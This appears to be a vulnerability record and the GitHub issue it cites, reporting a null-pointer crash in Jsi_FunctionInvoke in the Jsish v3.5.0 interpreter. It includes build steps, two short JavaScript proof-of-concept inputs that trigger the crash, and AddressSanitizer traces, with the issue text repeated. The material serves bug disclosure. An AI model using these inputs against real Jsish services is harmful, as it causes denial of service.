Jsish v3.5.0 was discovered to contain a SEGV vulnerability via Jsi_FunctionInvoke at src/jsiFunc.c. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case1

```javascript
var feedback = setInterval(Number, update(Object(ch)));
WebSocket(new Object());
update(100)(WebSocket(new Object()));
```

###### Test case2

```javascript
function JSEtest()
{
  (arr.reduceRight(Object), 0, '1');
  arguments.callee++;
}

var arr = new Array(10);
arr[1] = 1;
arr[2] = 2;
arr.forEach(JSEtest);
```

###### 	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc1.js

ASAN:DEADLYSIGNAL
=================================================================
==82851==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x5639ca50c71f bp 0x000000000000 sp 0x7ffc15eedf60 T0)
==82851==The signal is caused by a READ memory access.
==82851==Hint: address points to the zero page.
    #0 0x5639ca50c71e in Jsi_FunctionInvoke src/jsiFunc.c:786
    #1 0x5639ca626b9d in Jsi_EventProcess src/jsiCmds.c:292
    #2 0x5639ca6278ef in SysUpdateCmd src/jsiCmds.c:411
    #3 0x5639ca58f818 in jsi_FuncCallSub src/jsiProto.c:244
    #4 0x5639ca85971a in jsiFunctionSubCall src/jsiEval.c:796
    #5 0x5639ca85971a in jsiEvalFunction src/jsiEval.c:837
    #6 0x5639ca85971a in jsiEvalCodeSub src/jsiEval.c:1264
    #7 0x5639ca86d15e in jsi_evalcode src/jsiEval.c:2204
    #8 0x5639ca871274 in jsi_evalStrFile src/jsiEval.c:2665
    #9 0x5639ca56066a in Jsi_Main src/jsiInterp.c:936
    #10 0x5639cad6503a in jsi_main src/main.c:47
    #11 0x7fb9a888dbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #12 0x5639ca4f4969 in _start (/usr/local/bin/jsish+0xe8969)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiFunc.c:786 in Jsi_FunctionInvoke
==82851==ABORTING

$ ./jsish/jsish poc2.js
ASAN:DEADLYSIGNAL
=================================================================
==62010==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x557c5b2f56b6 bp 0x603000007240 sp 0x7ffce7e9ef60 T0)
==62010==The signal is caused by a READ memory access.
==62010==Hint: address points to the zero page.
    #0 0x557c5b2f56b5 in Jsi_FunctionInvoke src/jsiFunc.c:785
    #1 0x557c5b3ad784 in jsi_ArrayForeachCmd src/jsiArray.c:531
    #2 0x557c5b378818 in jsi_FuncCallSub src/jsiProto.c:244
    #3 0x557c5b64271a in jsiFunctionSubCall src/jsiEval.c:796
    #4 0x557c5b64271a in jsiEvalFunction src/jsiEval.c:837
    #5 0x557c5b64271a in jsiEvalCodeSub src/jsiEval.c:1264
    #6 0x557c5b65615e in jsi_evalcode src/jsiEval.c:2204
    #7 0x557c5b65a274 in jsi_evalStrFile src/jsiEval.c:2665
    #8 0x557c5b34966a in Jsi_Main src/jsiInterp.c:936
    #9 0x557c5bb4e03a in jsi_main src/main.c:47
    #10 0x7f35df3e6bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #11 0x557c5b2dd969 in _start (/usr/local/bin/jsish+0xe8969)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiFunc.c:785 in Jsi_FunctionInvoke
```


SEGV src/jsiFunc.c:786 in Jsi_FunctionInvoke
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : SEGV src/jsiFunc.c:786 in Jsi_FunctionInvoke
Issue date:

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###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case1

```javascript
var feedback = setInterval(Number, update(Object(ch)));
WebSocket(new Object());
update(100)(WebSocket(new Object()));
```

###### Test case2

```javascript
function JSEtest()
{
  (arr.reduceRight(Object), 0, '1');
  arguments.callee++;
}

var arr = new Array(10);
arr[1] = 1;
arr[2] = 2;
arr.forEach(JSEtest);
```

###### 	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc1.js

ASAN:DEADLYSIGNAL
=================================================================
==82851==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x5639ca50c71f bp 0x000000000000 sp 0x7ffc15eedf60 T0)
==82851==The signal is caused by a READ memory access.
==82851==Hint: address points to the zero page.
    #0 0x5639ca50c71e in Jsi_FunctionInvoke src/jsiFunc.c:786
    #1 0x5639ca626b9d in Jsi_EventProcess src/jsiCmds.c:292
    #2 0x5639ca6278ef in SysUpdateCmd src/jsiCmds.c:411
    #3 0x5639ca58f818 in jsi_FuncCallSub src/jsiProto.c:244
    #4 0x5639ca85971a in jsiFunctionSubCall src/jsiEval.c:796
    #5 0x5639ca85971a in jsiEvalFunction src/jsiEval.c:837
    #6 0x5639ca85971a in jsiEvalCodeSub src/jsiEval.c:1264
    #7 0x5639ca86d15e in jsi_evalcode src/jsiEval.c:2204
    #8 0x5639ca871274 in jsi_evalStrFile src/jsiEval.c:2665
    #9 0x5639ca56066a in Jsi_Main src/jsiInterp.c:936
    #10 0x5639cad6503a in jsi_main src/main.c:47
    #11 0x7fb9a888dbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #12 0x5639ca4f4969 in _start (/usr/local/bin/jsish+0xe8969)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiFunc.c:786 in Jsi_FunctionInvoke
==82851==ABORTING

$ ./jsish/jsish poc2.js
ASAN:DEADLYSIGNAL
=================================================================
==62010==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x557c5b2f56b6 bp 0x603000007240 sp 0x7ffce7e9ef60 T0)
==62010==The signal is caused by a READ memory access.
==62010==Hint: address points to the zero page.
    #0 0x557c5b2f56b5 in Jsi_FunctionInvoke src/jsiFunc.c:785
    #1 0x557c5b3ad784 in jsi_ArrayForeachCmd src/jsiArray.c:531
    #2 0x557c5b378818 in jsi_FuncCallSub src/jsiProto.c:244
    #3 0x557c5b64271a in jsiFunctionSubCall src/jsiEval.c:796
    #4 0x557c5b64271a in jsiEvalFunction src/jsiEval.c:837
    #5 0x557c5b64271a in jsiEvalCodeSub src/jsiEval.c:1264
    #6 0x557c5b65615e in jsi_evalcode src/jsiEval.c:2204
    #7 0x557c5b65a274 in jsi_evalStrFile src/jsiEval.c:2665
    #8 0x557c5b34966a in Jsi_Main src/jsiInterp.c:936
    #9 0x557c5bb4e03a in jsi_main src/main.c:47
    #10 0x7f35df3e6bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #11 0x557c5b2dd969 in _start (/usr/local/bin/jsish+0xe8969)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/jsiFunc.c:785 in Jsi_FunctionInvoke
```


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